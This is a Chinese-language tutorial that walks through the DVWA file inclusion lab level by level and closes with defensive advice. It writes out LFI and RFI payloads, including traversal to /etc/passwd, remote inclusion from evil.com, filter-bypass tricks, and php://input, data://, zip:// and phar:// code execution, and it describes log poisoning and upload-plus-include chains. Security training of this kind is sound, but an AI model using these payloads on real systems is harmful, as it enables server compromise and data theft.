DVWA文件包含漏洞通关指南:从原理到实战绕过技巧

📅 2026/7/7 20:17:04
DVWA文件包含漏洞通关指南:从原理到实战绕过技巧
1. 项目概述与核心价值最近在带新人做渗透测试基础训练发现很多朋友对“文件包含漏洞”这个概念理解得不够透彻要么是原理没吃透要么是实战中遇到各种过滤规则就懵了。正好DVWADamn Vulnerable Web Application这个经典的靶场里有一个专门用来练习文件包含漏洞的模块而且它贴心地设置了从Low到Impossible四个安全等级简直就是为我们量身定做的“漏洞理解阶梯”。这个“保姆级教程”的目标就是带你手把手、一步步地把DVWA文件包含漏洞的每一关都打通并且把背后的原理、绕过技巧、以及那些在真实渗透测试中会用到的“骚操作”都讲清楚。文件包含漏洞File Inclusion Vulnerability绝不仅仅是“包含一个文件”那么简单它常常是Web安全测试中从信息泄露到获取系统权限的关键跳板。理解它你就能明白为什么一个看似无害的“页面参数”能成为攻击者打开服务器大门的钥匙。2. 文件包含漏洞核心原理深度解析2.1 什么是文件包含为什么会有漏洞简单来说文件包含是Web开发中一种常见的代码复用技术。想象一下你网站的每个页面都有相同的头部导航栏和底部版权信息。为了避免在每个页面重复写这些代码聪明的做法是把导航栏和版权信息分别写成header.php和footer.php两个文件。然后在其他页面里只需要用include(‘header.php’)和include(‘footer.php’)这两行代码就能把对应的内容“包含”进来。PHP中常用的包含函数主要有这四个include(): 包含并运行指定文件。如果包含失败比如文件不存在会发出一个警告E_WARNING但脚本会继续执行。require(): 与include()类似但如果包含失败会产生一个致命错误E_COMPILE_ERROR并停止脚本执行。include_once()/require_once(): 功能与前两者相同但多了一个“唯一性”检查。如果该文件已经被包含过则不会再次包含可以避免函数重定义、变量重新赋值等问题。漏洞的根源就在这里开发者本意是包含一个他们预设的、安全的本地文件比如‘menu.php’。但是如果包含文件的路径或文件名是通过用户可控制的输入比如URL中的?page参数动态拼接而成的并且没有经过严格的过滤攻击者就可以通过修改这个参数让服务器去包含一个他指定的、意料之外的文件。例如代码是include($_GET[‘page’] . ‘.php’);开发者期望用户访问?pagehome最终包含home.php。但如果攻击者传入?pagehttp://evil.com/shell并且服务器配置允许allow_url_includeOn那么它就会去包含远程服务器上的shell.php这个恶意文件中的PHP代码会在你的服务器上执行这就是“远程文件包含RFI”。如果包含的是服务器本地的一个敏感文件如?page../../../../etc/passwd那就是“本地文件包含LFI”会导致敏感信息泄露。注意allow_url_include和allow_url_fopen这两个PHP配置选项默认通常是关闭的这极大地限制了远程文件包含RFI的发生。但在一些老旧或配置不当的服务器上它们可能被开启使得RFI成为可能。本地文件包含LFI则更为常见。2.2 DVWA文件包含模块环境搭建与访问在开始实操前确保你的DVWA已经正确运行。通常你需要一个集成的Web服务环境如XAMPP、PHPStudy并安装好DVWA。将DVWA源码解压到Web根目录如htdocs或www然后通过浏览器访问其安装页面进行配置。访问DVWA在浏览器中输入http://你的服务器IP或localhost/dvwa/。登录默认账号密码通常是admin/password。设置安全等级在左侧菜单点击 “DVWA Security”将安全级别设置为 “Low”。我们通关教程将从最低难度开始。进入漏洞模块点击左侧 “File Inclusion”即可进入文件包含漏洞的练习页面。你会看到一个简单的页面上面有三个链接file1.phpfile2.phpfile3.php。点击它们URL会变成类似http://localhost/dvwa/vulnerabilities/fi/?pagefile1.php的形式。这里的page参数就是我们攻击的入口点。3. DVWA文件包含四级别通关实战详解3.1 Low级别毫无防护的“裸奔”源码审计?php $file $_GET[ page ]; ?Low级别的代码简单到令人发指。它直接获取URL中page参数的值没有任何过滤、检查或限制然后直接将其作为文件路径传递给包含函数。攻击实战本地文件包含LFI读取敏感文件目标尝试读取服务器上的/etc/passwd文件Linux或C:\Windows\System32\drivers\etc\hosts文件Windows。Payload?page../../../../etc/passwd解释../表示上一级目录。通过多个../我们可以穿越目录从Web根目录跳转到系统的根目录或其他敏感目录。如果成功页面上会显示/etc/passwd文件的内容。Windows路径尝试?page../../../../Windows/System32/drivers/etc/hosts或使用反斜杠..\..\..\..\Windows\...。远程文件包含RFI执行任意代码前提需要目标服务器PHP配置中allow_url_include为 OnDVWA默认环境通常开启用于练习。操作在另一台你能控制的服务器或本机用Python开个临时HTTP服务上创建一个内容为?php phpinfo(); ?的shell.php文件。Payload?pagehttp://你的攻击机IP/shell.php结果如果成功DVWA页面将不再显示原有内容而是展示phpinfo()函数的输出这证明远程PHP代码已被成功在目标服务器上执行。你可以把phpinfo()换成任何PHP代码比如system(‘whoami’)来执行系统命令。使用PHP Filter协议读取源码有时直接包含.php文件其代码会被执行我们看不到源代码。这时可以用php://filter协议进行读取。Payload?pagephp://filter/readconvert.base64-encode/resourcefile1.php解释这个Payload会读取file1.php文件的内容并将其用Base64编码后输出。你会在页面上看到一串Base64字符串解码后就能得到file1.php的源代码。这是审计代码、寻找其他漏洞的常用手法。简化读取如果只是想看文本内容可以去掉编码器?pagephp://filter/read/resourcefile1.php但这对PHP文件无效因为PHP代码会被执行。Base64编码是绕过执行、查看源码的关键。实操心得在Low级别重点感受“用户输入直接信任”带来的危害。RFI是最危险的因为它意味着攻击者可以直接从外部注入代码。在实际测试中如果发现LFI一定要尝试结合文件上传、日志注入等技巧向服务器写入一个Webshell再通过LFI去包含它从而升级为代码执行。3.2 Medium级别初级的字符串过滤与绕过源码审计?php $file $_GET[ page ]; $file str_replace( array( “http://”, “https://” ), “”, $file ); $file str_replace( array( “../”, “..\\” ), “”, $file ); ?Medium级别引入了过滤。它使用str_replace()函数试图将http://、https://、../、..\这些字符串替换为空字符串。漏洞与绕过这里的过滤存在一个经典缺陷只进行一次替换。str_replace()不是递归处理的。这意味着如果我们在字符串中插入被过滤的字符过滤后剩下的字符可能会重新组合成我们想要的Payload。攻击实战双写绕过目录穿越../目标依然读取/etc/passwd。Payload?page....//....//....//....//etc/passwd过程拆解我们传入....//。过滤函数寻找../并替换为空。它找到了....//中间的那个../将其删除。删除后字符串变成了.../。注意前面三个点中的后两个点和后面的斜杠又组成了一个新的../所以最终被处理的字符串变回了../../。成功绕过了过滤。同理对于..\可以使用....\/或....\\进行双写绕过。双写绕过远程包含http://目标实现RFI。Payload?pagehtthttp://p://evil.com/shell.php过程拆解我们传入htthttp://p://evil.com/shell.php。过滤函数寻找http://并替换为空。它找到了字符串中间的http://并将其删除。删除后剩下的部分拼接起来正好是http://evil.com/shell.php。绕过成功注意事项双写绕过的成功与否取决于过滤逻辑和拼接顺序。有时需要尝试不同的位置。例如过滤../后可能还会过滤..\那么Payload可能需要写成....\/或....\\/来应对多次不同字符串的过滤。关键在于理解过滤是一次性的、非递归的。3.3 High级别白名单限制与协议利用源码审计?php $file $_GET[ page ]; if( !fnmatch( “file*”, $file ) $file ! “include.php” ) { echo “ERROR: File not found!”; exit; } ?High级别使用了更严格的限制。fnmatch(“file*”, $file)函数检查$file变量是否以字符串“file”开头。同时它还允许$file等于“include.php”。这看起来像一个白名单机制只允许包含以“file”开头的文件或者是“include.php”本身。攻击实战利用file://协议限制是“以file开头”而不是“文件名是file开头”。这为我们利用file://协议流打开了大门。基本利用Payload?pagefile:///etc/passwd解释file://是一个PHP支持的协议包装器wrapper用于访问本地文件系统。file:///etc/passwd完全符合“以file开头”的条件file://…。服务器会使用file协议处理器去打开/etc/passwd文件。由于该文件不是PHP代码其内容会被直接输出到页面上造成信息泄露。Windows示例?pagefile:///C:/Windows/System32/drivers/etc/hosts结合目录穿越虽然代码过滤了../但在file://协议中我们可以使用绝对路径完全不需要../。如果必须使用相对路径可以尝试URL编码..的URL编码是%2e%2e/是%2f。Payload可能为file:///var/www/html/..%2f..%2f..%2fetc%2fpasswd但这取决于服务器端对输入的处理顺序。通常直接使用绝对路径更可靠。利用PHP Filter协议php://filter协议同样以p开头不符合file*规则直接使用会被拦截。但是我们可以尝试将协议包装在file://协议中吗理论上file://应该指向一个真实的文件路径不能嵌套其他协议。所以此路不通。High级别的防御核心就是封堵了除file://和指定文件外的其他包含方式迫使攻击者只能进行本地文件读取LFI而难以直接执行代码除非能找到已存在于服务器上的Webshell文件并包含它。实操心得High级别展示了白名单过滤的威力。它极大地限制了攻击面将RFI彻底封死并将LFI限制在只能读取服务器本地文件。在实战中遇到这种过滤攻击思路需要转向信息收集利用file://读取各种配置文件如/etc/passwd,/proc/self/environ,.env,config.php,php.ini寻找数据库密码、API密钥、其他漏洞线索。日志文件注入如果知道Web日志如/var/log/apache2/access.log的路径可以将PHP代码作为User-Agent或请求参数的一部分使其写入日志文件然后通过file://包含这个日志文件来执行代码。结合其他漏洞最常见的场景是“文件上传文件包含”。先通过一个文件上传漏洞即使只能上传图片将含有PHP代码的文件如图片马传到服务器获得其存储路径再通过此处的LFI去包含那个上传的文件从而执行代码。3.4 Impossible级别终极白名单源码审计?php $file $_GET[ page ]; if( $file ! “include.php” $file ! “file1.php” $file ! “file2.php” $file ! “file3.php” ) { echo “ERROR: File not found!”; exit; } ?Impossible级别采用了最安全也是最“笨”的方法硬编码白名单。$file参数只能严格等于“include.php”、“file1.php”、“file2.php”、“file3.php”这四个字符串之一多一个字符、少一个字符、或者换成其他任何值都不行。安全分析这种防御方式从根本上杜绝了文件包含漏洞。因为攻击者无法控制最终被包含的文件名它永远只能是开发者预设的那几个安全文件。任何协议http://,php://,file://、路径穿越../或编码技巧在这里都完全失效因为输入在比较之前就已经被固定死了。开发启示在实际开发中避免文件包含漏洞的最佳实践就是避免动态包含尽量不要让用户输入直接或间接决定包含哪个文件。使用白名单如果必须动态包含应像Impossible级别一样使用一个预定义的、有限的列表白名单进行比对只允许包含列表内的文件。固定目录如果需要包含用户指定的文件也应将其限制在某个特定的、非Web可访问的目录下并且使用固定的文件扩展名如.inc.php再与白名单结合。4. 高级利用技巧与协议全解在Low级别或某些过滤不严的环境下除了基本的LFI/RFIPHP丰富的协议包装器Wrapper为我们提供了更多强大的攻击手段。4.1 php://filter 的妙用我们已经用它来读取源码。它更强大的地方在于可以对数据流进行过滤处理。read指定读取过滤器如convert.base64-encode。write指定写入过滤器。resource指定要过滤的数据流来源通常是文件。实战技巧读取PHP源码?pagephp://filter/readconvert.base64-encode/resourceindex.php经典用法。多重过滤可以链式使用多个过滤器例如先Base64编码再字符串旋转ROT13?pagephp://filter/readconvert.base64-encode|string.rot13/resourceindex.php。这在某些简单的过滤或WAF检测时可能有用。写入文件需条件配合php://input和allow_url_include理论上可以构造数据流写入文件但条件苛刻不如其他方法直接。4.2 php://input 与 POST数据执行php://input是个只读流用于访问请求的原始POST数据。当allow_url_include开启时它可以被包含并且POST数据中的PHP代码会被执行。操作步骤需使用Burp Suite或类似工具正常浏览器访问?pagephp://input拦截这个请求用Burp。将请求方法从GET改为POST。在请求体Body中直接写入PHP代码例如?php system(‘whoami’); ?发送请求。服务器包含php://input流流的内容就是你的POST数据PHP代码于是代码被执行响应中会返回命令执行的结果。4.3 data:// 协议的直接代码注入data://协议允许在URI中直接嵌入数据。它相当于一个“自包含”的数据文件。明文方式?pagedata://text/plain,?php phpinfo();?。注意代码中的,?,空格等特殊字符需要进行URL编码。所以更稳定的写法是?pagedata://text/plain,%3C?php%20phpinfo();?%3EBase64编码方式?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8。这里PD9waHAgcGhwaW5mbygpOz8就是?php phpinfo();?的Base64编码。这种方式可以避免特殊字符问题。4.4 压缩协议zip:// 与 phar://这两个协议允许我们包含压缩包内的文件。如果网站有文件上传功能且能上传.zip或.phar文件这将是绕过“仅允许上传图片”限制的利器。准备创建一个shell.php内容为?php phpinfo();?。然后将其压缩成shell.zip。注意有些利用方式要求压缩包内不能有目录层级直接是文件。zip://Payload?pagezip:///绝对路径/shell.zip%23shell.php关键点协议格式为zip://[压缩文件绝对路径]#[压缩文件内的文件名]。#在URL中表示锚点需要编码成%23。路径必须是绝对路径并且要使用正斜杠/即使是Windows系统如zip://C:/xampp/htdocs/uploads/shell.zip%23shell.php。phar://Payload?pagephar:///绝对路径/shell.phar/shell.php关键点协议格式为phar://[压缩文件绝对路径]/[压缩文件内的文件名]。这里使用/作为分隔符而不是#。.phar是PHP归档文件但phar://协议也支持.zip和.tar文件。所以phar:///path/to/shell.zip/shell.php同样有效这提供了更多选择。4.5 其他压缩流协议compress.zlib://和compress.bzip2://分别用于处理.gz和.bz2压缩格式的单文件。?pagecompress.zlib:///path/to/file.gz这些协议通常用于包含单一文件的压缩内容在特定环境下可能有用但不如zip://和phar://常见。5. 实战融合与防御思考文件包含漏洞很少孤立存在。一个成熟的渗透测试过程往往是多种漏洞的组合利用。经典攻击链文件上传 文件包含发现文件上传点找到一处可以上传文件的功能。上传Webshell即使前端做了图片类型检查也可能通过修改文件扩展名如shell.php.jpg、文件内容在图片末尾追加PHP代码、或利用解析漏洞如Apache的shell.php.jpg被解析为PHP来上传一个可执行的脚本文件。获取文件路径上传成功后网站通常会返回文件的访问路径如/uploads/2023/10/shell.php.jpg或者可以通过目录遍历猜测。触发文件包含利用找到的文件包含漏洞去包含这个上传的文件路径如?page../../uploads/2023/10/shell.php.jpg。由于服务器会根据文件内容如?php ... ?或解析规则来执行从而获得代码执行权限。防御方案总结关闭危险配置生产环境中务必确保php.ini里的allow_url_include和allow_url_fopen设置为Off。使用白名单对动态包含的文件名进行严格的白名单校验就像DVWA的Impossible级别。固定目录与后缀如果业务需要动态包含应将包含操作限制在某个特定目录内并强制添加安全的后缀如.php避免包含.inc、.log等可能被写入代码的文件。但注意后缀检查可以被%00空字节截断在PHP5.3.4时或协议流绕过因此白名单是最优解。避免用户输入从根本上重新设计功能避免使用用户可控的变量来拼接文件路径。代码审计与安全测试在开发流程中加入代码安全审计和定期的渗透测试主动发现此类问题。文件包含漏洞的理解和利用是Web安全工程师的必修课。通过DVWA这个靶场从毫无防护到硬编码白名单我们清晰地看到了防御是如何层层加强的也学会了攻击者是如何见招拆招的。真正掌握它不仅要会“攻”更要理解如何“防”这样才能在安全开发和安全评估中游刃有余。